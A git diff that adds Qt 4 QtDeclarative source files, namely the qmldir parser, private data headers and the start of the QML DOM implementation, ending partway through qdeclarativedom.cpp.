diff --git a/src/declarative/qml/qdeclarativecustomparser_p_p.h b/src/declarative/qml/qdeclarativecustomparser_p_p.h
new file mode 100644
index 00000000..3f96a835
--- /dev/null
+++ b/src/declarative/qml/qdeclarativecustomparser_p_p.h
@@ -0,0 +1,89 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVECUSTOMPARSER_P_H
+#define QDECLARATIVECUSTOMPARSER_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include "private/qdeclarativecustomparser_p.h"
+
+#include "private/qdeclarativeparser_p.h"
+
+#include <QtCore/qglobal.h>
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeCustomParserNodePrivate
+{
+public:
+ QByteArray name;
+ QList<QDeclarativeCustomParserProperty> properties;
+ QDeclarativeParser::Location location;
+
+ static QDeclarativeCustomParserNode fromObject(QDeclarativeParser::Object *);
+ static QDeclarativeCustomParserProperty fromProperty(QDeclarativeParser::Property *);
+};
+
+class QDeclarativeCustomParserPropertyPrivate
+{
+public:
+ QDeclarativeCustomParserPropertyPrivate()
+ : isList(false) {}
+
+ QByteArray name;
+ bool isList;
+ QDeclarativeParser::Location location;
+ QList<QVariant> values;
+};
+
+QT_END_NAMESPACE
+
+#endif // QDECLARATIVECUSTOMPARSER_P_H
diff --git a/src/declarative/qml/qdeclarativedata_p.h b/src/declarative/qml/qdeclarativedata_p.h
new file mode 100644
index 00000000..b26c4d51
--- /dev/null
+++ b/src/declarative/qml/qdeclarativedata_p.h
@@ -0,0 +1,165 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEDATA_P_H
+#define QDECLARATIVEDATA_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include <QtScript/qscriptvalue.h>
+#include <private/qobject_p.h>
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeGuardImpl;
+class QDeclarativeCompiledData;
+class QDeclarativeAbstractBinding;
+class QDeclarativeContext;
+class QDeclarativePropertyCache;
+class QDeclarativeContextData;
+class QDeclarativeNotifier;
+class QDeclarativeDataExtended;
+// This class is structured in such a way, that simply zero'ing it is the
+// default state for elemental object allocations. This is crucial in the
+// workings of the QDeclarativeInstruction::CreateSimpleObject instruction.
+// Don't change anything here without first considering that case!
+class Q_AUTOTEST_EXPORT QDeclarativeData : public QAbstractDeclarativeData
+{
+public:
+ QDeclarativeData()
+ : ownMemory(true), ownContext(false), indestructible(true), explicitIndestructibleSet(false),
+ context(0), outerContext(0), bindings(0), nextContextObject(0), prevContextObject(0), bindingBitsSize(0),
+ bindingBits(0), lineNumber(0), columnNumber(0), deferredComponent(0), deferredIdx(0),
+ scriptValue(0), objectDataRefCount(0), propertyCache(0), guards(0), extendedData(0) {
+ init();
+ }
+
+ static inline void init() {
+ QAbstractDeclarativeData::destroyed = destroyed;
+ QAbstractDeclarativeData::parentChanged = parentChanged;
+ QAbstractDeclarativeData::objectNameChanged = objectNameChanged;
+ }
+
+ static void destroyed(QAbstractDeclarativeData *, QObject *);
+ static void parentChanged(QAbstractDeclarativeData *, QObject *, QObject *);
+ static void objectNameChanged(QAbstractDeclarativeData *, QObject *);
+
+ void destroyed(QObject *);
+ void parentChanged(QObject *, QObject *);
+ void objectNameChanged(QObject *);
+
+ void setImplicitDestructible() {
+ if (!explicitIndestructibleSet) indestructible = false;
+ }
+
+ quint32 ownMemory:1;
+ quint32 ownContext:1;
+ quint32 indestructible:1;
+ quint32 explicitIndestructibleSet:1;
+ quint32 dummy:28;
+
+ // The context that created the C++ object
+ QDeclarativeContextData *context;
+ // The outermost context in which this object lives
+ QDeclarativeContextData *outerContext;
+
+ QDeclarativeAbstractBinding *bindings;
+
+ // Linked list for QDeclarativeContext::contextObjects
+ QDeclarativeData *nextContextObject;
+ QDeclarativeData**prevContextObject;
+
+ int bindingBitsSize;
+ quint32 *bindingBits;
+ bool hasBindingBit(int) const;
+ void clearBindingBit(int);
+ void setBindingBit(QObject *obj, int);
+
+ ushort lineNumber;
+ ushort columnNumber;
+
+ QDeclarativeCompiledData *deferredComponent; // Can't this be found from the context?
+ unsigned int deferredIdx;
+
+ // ### Can we make this QScriptValuePrivate so we incur no additional allocation
+ // cost?
+ QScriptValue *scriptValue;
+ quint32 objectDataRefCount;
+ QDeclarativePropertyCache *propertyCache;
+
+ QDeclarativeGuardImpl *guards;
+
+ static QDeclarativeData *get(const QObject *object, bool create = false) {
+ QObjectPrivate *priv = QObjectPrivate::get(const_cast<QObject *>(object));
+ if (priv->wasDeleted) {
+ Q_ASSERT(!create);
+ return 0;
+ } else if (priv->declarativeData) {
+ return static_cast<QDeclarativeData *>(priv->declarativeData);
+ } else if (create) {
+ priv->declarativeData = new QDeclarativeData;
+ return static_cast<QDeclarativeData *>(priv->declarativeData);
+ } else {
+ return 0;
+ }
+ }
+
+ bool hasExtendedData() const { return extendedData != 0; }
+ QDeclarativeNotifier *objectNameNotifier() const;
+ QHash<int, QObject *> *attachedProperties() const;
+
+private:
+ // For objectNameNotifier and attachedProperties
+ mutable QDeclarativeDataExtended *extendedData;
+};
+
+QT_END_NAMESPACE
+
+#endif // QDECLARATIVEDATA_P_H
diff --git a/src/declarative/qml/qdeclarativedirparser.cpp b/src/declarative/qml/qdeclarativedirparser.cpp
new file mode 100644
index 00000000..16bc2c3e
--- /dev/null
+++ b/src/declarative/qml/qdeclarativedirparser.cpp
@@ -0,0 +1,285 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativedirparser_p.h"
+#include "qdeclarativeerror.h"
+#include <private/qdeclarativeglobal_p.h>
+
+#include <QtCore/QTextStream>
+#include <QtCore/QFile>
+#include <QtCore/QtDebug>
+
+QT_BEGIN_NAMESPACE
+
+QDeclarativeDirParser::QDeclarativeDirParser()
+ : _isParsed(false)
+{
+}
+
+QDeclarativeDirParser::~QDeclarativeDirParser()
+{
+}
+
+QUrl QDeclarativeDirParser::url() const
+{
+ return _url;
+}
+
+void QDeclarativeDirParser::setUrl(const QUrl &url)
+{
+ _url = url;
+}
+
+QString QDeclarativeDirParser::fileSource() const
+{
+ return _filePathSouce;
+}
+
+void QDeclarativeDirParser::setFileSource(const QString &filePath)
+{
+ _filePathSouce = filePath;
+}
+
+QString QDeclarativeDirParser::source() const
+{
+ return _source;
+}
+
+void QDeclarativeDirParser::setSource(const QString &source)
+{
+ _isParsed = false;
+ _source = source;
+}
+
+bool QDeclarativeDirParser::isParsed() const
+{
+ return _isParsed;
+}
+
+bool QDeclarativeDirParser::parse()
+{
+ if (_isParsed)
+ return true;
+
+ _isParsed = true;
+ _errors.clear();
+ _plugins.clear();
+ _components.clear();
+
+ if (_source.isEmpty() && !_filePathSouce.isEmpty()) {
+ QFile file(_filePathSouce);
+ if (!QDeclarative_isFileCaseCorrect(_filePathSouce)) {
+ QDeclarativeError error;
+ error.setDescription(QString::fromUtf8("cannot load module \"$$URI$$\": File name case mismatch for \"%1\"").arg(_filePathSouce));
+ _errors.prepend(error);
+ return false;
+ } else if (file.open(QFile::ReadOnly)) {
+ _source = QString::fromUtf8(file.readAll());
+ } else {
+ QDeclarativeError error;
+ error.setDescription(QString::fromUtf8("module \"$$URI$$\" definition \"%1\" not readable").arg(_filePathSouce));
+ _errors.prepend(error);
+ return false;
+ }
+ }
+
+ QTextStream stream(&_source);
+ int lineNumber = 0;
+
+ forever {
+ ++lineNumber;
+
+ const QString line = stream.readLine();
+ if (line.isNull())
+ break;
+
+ QString sections[3];
+ int sectionCount = 0;
+
+ int index = 0;
+ const int length = line.length();
+
+ while (index != length) {
+ const QChar ch = line.at(index);
+
+ if (ch.isSpace()) {
+ do { ++index; }
+ while (index != length && line.at(index).isSpace());
+
+ } else if (ch == QLatin1Char('#')) {
+ // recognized a comment
+ break;
+
+ } else {
+ const int start = index;
+
+ do { ++index; }
+ while (index != length && !line.at(index).isSpace());
+
+ const QString lexeme = line.mid(start, index - start);
+
+ if (sectionCount >= 3) {
+ reportError(lineNumber, start, QLatin1String("unexpected token"));
+
+ } else {
+ sections[sectionCount++] = lexeme;
+ }
+ }
+ }
+
+ if (sectionCount == 0) {
+ continue; // no sections, no party.
+
+ } else if (sections[0] == QLatin1String("plugin")) {
+ if (sectionCount < 2) {
+ reportError(lineNumber, -1,
+ QString::fromUtf8("plugin directive requires 2 arguments, but %1 were provided").arg(sectionCount + 1));
+
+ continue;
+ }
+
+ const Plugin entry(sections[1], sections[2]);
+
+ _plugins.append(entry);
+
+ } else if (sections[0] == QLatin1String("internal")) {
+ if (sectionCount != 3) {
+ reportError(lineNumber, -1,
+ QString::fromUtf8("internal types require 2 arguments, but %1 were provided").arg(sectionCount + 1));
+ continue;
+ }
+ Component entry(sections[1], sections[2], -1, -1);
+ entry.internal = true;
+ _components.append(entry);
+ } else if (sections[0] == QLatin1String("typeinfo")) {
+ if (sectionCount != 2) {
+ reportError(lineNumber, -1,
+ QString::fromUtf8("typeinfo requires 1 argument, but %1 were provided").arg(sectionCount - 1));
+ continue;
+ }
+#ifdef QT_CREATOR
+ TypeInfo typeInfo(sections[1]);
+ _typeInfos.append(typeInfo);
+#endif
+
+ } else if (sectionCount == 2) {
+ // No version specified (should only be used for relative qmldir files)
+ const Component entry(sections[0], sections[1], -1, -1);
+ _components.append(entry);
+ } else if (sectionCount == 3) {
+ const QString &version = sections[1];
+ const int dotIndex = version.indexOf(QLatin1Char('.'));
+
+ if (dotIndex == -1) {
+ reportError(lineNumber, -1, QLatin1String("expected '.'"));
+ } else if (version.indexOf(QLatin1Char('.'), dotIndex + 1) != -1) {
+ reportError(lineNumber, -1, QLatin1String("unexpected '.'"));
+ } else {
+ bool validVersionNumber = false;
+ const int majorVersion = version.left(dotIndex).toInt(&validVersionNumber);
+
+ if (validVersionNumber) {
+ const int minorVersion = version.mid(dotIndex + 1).toInt(&validVersionNumber);
+
+ if (validVersionNumber) {
+ const Component entry(sections[0], sections[2], majorVersion, minorVersion);
+
+ _components.append(entry);
+ }
+ }
+ }
+ } else {
+ reportError(lineNumber, -1,
+ QString::fromUtf8("a component declaration requires 3 arguments, but %1 were provided").arg(sectionCount + 1));
+ }
+ }
+
+ return hasError();
+}
+
+void QDeclarativeDirParser::reportError(int line, int column, const QString &description)
+{
+ QDeclarativeError error;
+ error.setUrl(_url);
+ error.setLine(line);
+ error.setColumn(column);
+ error.setDescription(description);
+ _errors.append(error);
+}
+
+bool QDeclarativeDirParser::hasError() const
+{
+ if (! _errors.isEmpty())
+ return true;
+
+ return false;
+}
+
+QList<QDeclarativeError> QDeclarativeDirParser::errors(const QString &uri) const
+{
+ QList<QDeclarativeError> errors = _errors;
+ for (int i = 0; i < errors.size(); ++i) {
+ QDeclarativeError &e = errors[i];
+ QString description = e.description();
+ description.replace(QLatin1String("$$URI$$"), uri);
+ e.setDescription(description);
+ }
+ return errors;
+}
+
+QList<QDeclarativeDirParser::Plugin> QDeclarativeDirParser::plugins() const
+{
+ return _plugins;
+}
+
+QList<QDeclarativeDirParser::Component> QDeclarativeDirParser::components() const
+{
+ return _components;
+}
+
+#ifdef QT_CREATOR
+QList<QDeclarativeDirParser::TypeInfo> QDeclarativeDirParser::typeInfos() const
+{
+ return _typeInfos;
+}
+#endif
+
+QT_END_NAMESPACE
diff --git a/src/declarative/qml/qdeclarativedirparser_p.h b/src/declarative/qml/qdeclarativedirparser_p.h
new file mode 100644
index 00000000..aa1ace5f
--- /dev/null
+++ b/src/declarative/qml/qdeclarativedirparser_p.h
@@ -0,0 +1,149 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEDIRPARSER_P_H
+#define QDECLARATIVEDIRPARSER_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include <QtCore/QUrl>
+#include <QtCore/QHash>
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeError;
+class QDeclarativeDirParser
+{
+ Q_DISABLE_COPY(QDeclarativeDirParser)
+
+public:
+ QDeclarativeDirParser();
+ ~QDeclarativeDirParser();
+
+ QUrl url() const;
+ void setUrl(const QUrl &url);
+
+ QString source() const;
+ void setSource(const QString &source);
+
+ QString fileSource() const;
+ void setFileSource(const QString &filePath);
+
+ bool isParsed() const;
+ bool parse();
+
+ bool hasError() const;
+ QList<QDeclarativeError> errors(const QString &uri) const;
+
+ struct Plugin
+ {
+ Plugin() {}
+
+ Plugin(const QString &name, const QString &path)
+ : name(name), path(path) {}
+
+ QString name;
+ QString path;
+ };
+
+ struct Component
+ {
+ Component()
+ : majorVersion(0), minorVersion(0), internal(false) {}
+
+ Component(const QString &typeName, const QString &fileName, int majorVersion, int minorVersion)
+ : typeName(typeName), fileName(fileName), majorVersion(majorVersion), minorVersion(minorVersion),
+ internal(false) {}
+
+ QString typeName;
+ QString fileName;
+ int majorVersion;
+ int minorVersion;
+ bool internal;
+ };
+
+ QList<Component> components() const;
+ QList<Plugin> plugins() const;
+
+#ifdef QT_CREATOR
+ struct TypeInfo
+ {
+ TypeInfo() {}
+ TypeInfo(const QString &fileName)
+ : fileName(fileName) {}
+
+ QString fileName;
+ };
+
+ QList<TypeInfo> typeInfos() const;
+#endif
+
+private:
+ void reportError(int line, int column, const QString &message);
+
+private:
+ QList<QDeclarativeError> _errors;
+ QUrl _url;
+ QString _source;
+ QString _filePathSouce;
+ QList<Component> _components;
+ QList<Plugin> _plugins;
+#ifdef QT_CREATOR
+ QList<TypeInfo> _typeInfos;
+#endif
+ unsigned _isParsed: 1;
+};
+
+typedef QList<QDeclarativeDirParser::Component> QDeclarativeDirComponents;
+
+
+QT_END_NAMESPACE
+
+#endif // QDECLARATIVEDIRPARSER_P_H
diff --git a/src/declarative/qml/qdeclarativedom.cpp b/src/declarative/qml/qdeclarativedom.cpp
new file mode 100644
index 00000000..bd68d73d
--- /dev/null
+++ b/src/declarative/qml/qdeclarativedom.cpp
@@ -0,0 +1,1835 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativedom_p.h"
+#include "private/qdeclarativedom_p_p.h"
+
+#include "private/qdeclarativecompiler_p.h"
+#include "private/qdeclarativeengine_p.h"
+#include "private/qdeclarativescriptparser_p.h"
+#include "private/qdeclarativeglobal_p.h"
+
+#include <QtCore/QByteArray>
+#include <QtCore/QDebug>
+#include <QtCore/QString>
+
+QT_BEGIN_NAMESPACE
+
+QDeclarativeDomDocumentPrivate::QDeclarativeDomDocumentPrivate()
+: root(0)
+{
+}
+
+QDeclarativeDomDocumentPrivate::~QDeclarativeDomDocumentPrivate()
+{
+ if (root) root->release();
+}
+
+/*!
+ \class QDeclarativeDomDocument
+ \internal
+ \brief The QDeclarativeDomDocument class represents the root of a QML document
+
+ A QML document is a self-contained snippet of QML, usually contained in a
+ single file. Each document has a root object, accessible through
+ QDeclarativeDomDocument::rootObject().
+
+ The QDeclarativeDomDocument class allows the programmer to inspect a QML document by
+ calling QDeclarativeDomDocument::load().
+
+ The following example loads a QML file from disk, and prints out its root
+ object type and the properties assigned in the root object.
+ \code
+ QFile file(inputFileName);
+ file.open(QIODevice::ReadOnly);
+ QByteArray xmlData = file.readAll();
+
+ QDeclarativeDomDocument document;
+ document.load(qmlengine, xmlData);
+
+ QDeclarativeDomObject rootObject = document.rootObject();
+ qDebug() << rootObject.objectType();
+ foreach(QDeclarativeDomProperty property, rootObject.properties())
+ qDebug() << property.propertyName();
+ \endcode
+*/
+
+/*!
+ Construct an empty QDeclarativeDomDocument.
+*/
+QDeclarativeDomDocument::QDeclarativeDomDocument()
+: d(new QDeclarativeDomDocumentPrivate)
+{
+}
+
+/*!
+ Create a copy of \a other QDeclarativeDomDocument.
+*/
+QDeclarativeDomDocument::QDeclarativeDomDocument(const QDeclarativeDomDocument &other)
+: d(other.d)
+{
+}
+
+/*!
+ Destroy the QDeclarativeDomDocument
+*/
+QDeclarativeDomDocument::~QDeclarativeDomDocument()
+{
+}
+
+/*!
+ Assign \a other to this QDeclarativeDomDocument.
+*/
+QDeclarativeDomDocument &QDeclarativeDomDocument::operator=(const QDeclarativeDomDocument &other)
+{
+ d = other.d;
+ return *this;
+}
+
+/*!
+ Returns all import statements in qml.
+*/
+QList<QDeclarativeDomImport> QDeclarativeDomDocument::imports() const
+{
+ return d->imports;
+}
+
+/*!
+ Loads a QDeclarativeDomDocument from \a data. \a data should be valid QML
+ data. On success, true is returned. If the \a data is malformed, false
+ is returned and QDeclarativeDomDocument::errors() contains an error description.
+
+ \sa QDeclarativeDomDocument::loadError()
+*/
+bool QDeclarativeDomDocument::load(QDeclarativeEngine *engine, const QByteArray &data, const QUrl &url)
+{
+ d->errors.clear();
+ d->imports.clear();
+
+ QDeclarativeEnginePrivate *ep = QDeclarativeEnginePrivate::get(engine);
+ QDeclarativeTypeData *td = ep->typeLoader.get(data, url, QDeclarativeTypeLoader::PreserveParser);
+
+ if(td->isError()) {
+ d->errors = td->errors();
+ td->release();
+ return false;
+ } else if(!td->isCompleteOrError()) {
+ QDeclarativeError error;
+ error.setDescription(QLatin1String("QDeclarativeDomDocument supports local types only"));
+ d->errors << error;
+ td->release();
+ return false;
+ }
+
+ for (int i = 0; i < td->parser().imports().size(); ++i) {
+ QDeclarativeScriptParser::Import parserImport = td->parser().imports().at(i);
+ QDeclarativeDomImport domImport;
+ domImport.d->type = static_cast<QDeclarativeDomImportPrivate::Type>(parserImport.type);
+ domImport.d->uri = parserImport.uri;
+ domImport.d->qualifier = parserImport.qualifier;
+ domImport.d->version = parserImport.version;
+ d->imports += domImport;
+ }
+
+ if (td->parser().tree()) {
+ d->root = td->parser().tree();
+ d->root->addref();
+ }
+
+ td->release();
+ return true;
+}
+
+/*!
+ Returns the last load errors. The load errors will be reset after a
+ successful call to load().
+
+ \sa load()
+*/
+QList<QDeclarativeError> QDeclarativeDomDocument::errors() const
+{
+ return d->errors;
+}
+
+/*!
+ Returns the document's root object, or an invalid QDeclarativeDomObject if the
+ document has no root.
+
+ In the sample QML below, the root object will be the QDeclarativeItem type.
+ \qml
+Item {
+ Text {
+ text: "Hello World"
+ }
+}
+ \endqml
+*/
+QDeclarativeDomObject QDeclarativeDomDocument::rootObject() const
+{
+ QDeclarativeDomObject rv;
+ rv.d->object = d->root;
+ if (rv.d->object) rv.d->object->addref();
+ return rv;
+}
+
+QDeclarativeDomPropertyPrivate::QDeclarativeDomPropertyPrivate()
+: property(0)
+{
+}
+
+QDeclarativeDomPropertyPrivate::~QDeclarativeDomPropertyPrivate()
+{
+ if (property) property->release();
+}
+
+QDeclarativeDomDynamicPropertyPrivate::QDeclarativeDomDynamicPropertyPrivate():
+ valid(false)
+{
+}
+
+QDeclarativeDomDynamicPropertyPrivate::~QDeclarativeDomDynamicPropertyPrivate()
+{
+ if (valid && property.defaultValue) property.defaultValue->release();
+}
+
+/*!
+ \class QDeclarativeDomProperty
+ \internal
+ \brief The QDeclarativeDomProperty class represents one property assignment in the
+ QML DOM tree
+
+ Properties in QML can be assigned QML \l {QDeclarativeDomValue}{values}.
+
+ \sa QDeclarativeDomObject
+*/
+
+/*!
+ Construct an invalid QDeclarativeDomProperty.
+*/
+QDeclarativeDomProperty::QDeclarativeDomProperty()
+: d(new QDeclarativeDomPropertyPrivate)
+{
+}
+
+/*!
+ Create a copy of \a other QDeclarativeDomProperty.
+*/
+QDeclarativeDomProperty::QDeclarativeDomProperty(const QDeclarativeDomProperty &other)
+: d(other.d)
+{
+}
+
+/*!
+ Destroy the QDeclarativeDomProperty.
+*/
+QDeclarativeDomProperty::~QDeclarativeDomProperty()
+{
+}
+
+/*!
+ Assign \a other to this QDeclarativeDomProperty.
+*/
+QDeclarativeDomProperty &QDeclarativeDomProperty::operator=(const QDeclarativeDomProperty &other)
+{
+ d = other.d;
+ return *this;
+}
+
+/*!
+ Returns true if this is a valid QDeclarativeDomProperty, false otherwise.
+*/
+bool QDeclarativeDomProperty::isValid() const
+{
+ return d->property != 0;
+}
+
+
+/*!
+ Return the name of this property.
+
+ \qml
+Text {
+ x: 10
+ y: 10
+ font.bold: true
+}
+ \endqml
+
+ As illustrated above, a property name can be a simple string, such as "x" or
+ "y", or a more complex "dot property", such as "font.bold". In both cases
+ the full name is returned ("x", "y" and "font.bold") by this method.
+
+ For dot properties, a split version of the name can be accessed by calling
+ QDeclarativeDomProperty::propertyNameParts().
+
+ \sa QDeclarativeDomProperty::propertyNameParts()
+*/
+QByteArray QDeclarativeDomProperty::propertyName() const
+{
+ return d->propertyName;
+}
+
+/*!
+ Return the name of this property, split into multiple parts in the case
+ of dot properties.
+
+ \qml
+Text {
+ x: 10
+ y: 10
+ font.bold: true
+}
+ \endqml
+
+ For each of the properties shown above, this method would return ("x"),
+ ("y") and ("font", "bold").
+
+ \sa QDeclarativeDomProperty::propertyName()
+*/
+QList<QByteArray> QDeclarativeDomProperty::propertyNameParts() const
+{
+ if (d->propertyName.isEmpty()) return QList<QByteArray>();
+ else return d->propertyName.split('.');
+}
+
+/*!
+ Return true if this property is used as a default property in the QML
+ document.
+
+ \code
+<Text text="hello"/>
+<Text>hello</Text>
+ \endcode
+
+ The above two examples return the same DOM tree, except that the second has
+ the default property flag set on the text property. Observe that whether
+ or not a property has isDefaultProperty set is determined by how the
+ property is used, and not only by whether the property is the types default
+ property.
+*/
+bool QDeclarativeDomProperty::isDefaultProperty() const
+{
+ return d->property && d->property->isDefault;
+}
+
+/*!
+ Returns the QDeclarativeDomValue that is assigned to this property, or an invalid
+ QDeclarativeDomValue if no value is assigned.
+*/
+QDeclarativeDomValue QDeclarativeDomProperty::value() const
+{
+ QDeclarativeDomValue rv;
+ if (d->property) {
+ rv.d->property = d->property;
+ if (d->property->values.count())
+ rv.d->value = d->property->values.at(0);
+ else
+ rv.d->value = d->property->onValues.at(0);
+ rv.d->property->addref();
+ rv.d->value->addref();
+ }
+ return rv;
+}
+
+/*!
+ Returns the position in the input data where the property ID startd, or -1 if
+ the property is invalid.
+*/
+int QDeclarativeDomProperty::position() const
+{
+ if (d && d->property) {
+ return d->property->location.range.offset;
+ } else
+ return -1;
+}
+
+/*!
+ Returns the length in the input data from where the property ID started upto
+ the end of it, or -1 if the property is invalid.
+*/
+int QDeclarativeDomProperty::length() const
+{
+ if (d && d->property)
+ return d->property->location.range.length;
+ else
+ return -1;
+}
+
+/*!
+ Construct an invalid QDeclarativeDomDynamicProperty.
+*/
+QDeclarativeDomDynamicProperty::QDeclarativeDomDynamicProperty():
+ d(new QDeclarativeDomDynamicPropertyPrivate)
+{
+}
+
+/*!
+ Create a copy of \a other QDeclarativeDomDynamicProperty.
+*/
+QDeclarativeDomDynamicProperty::QDeclarativeDomDynamicProperty(const QDeclarativeDomDynamicProperty &other):
+ d(other.d)
+{
+}
+
+/*!
+ Destroy the QDeclarativeDomDynamicProperty.
+*/
+QDeclarativeDomDynamicProperty::~QDeclarativeDomDynamicProperty()
+{
+}
+
+/*!
+ Assign \a other to this QDeclarativeDomDynamicProperty.
+*/
+QDeclarativeDomDynamicProperty &QDeclarativeDomDynamicProperty::operator=(const QDeclarativeDomDynamicProperty &other)
+{
+ d = other.d;
+ return *this;
+}
+
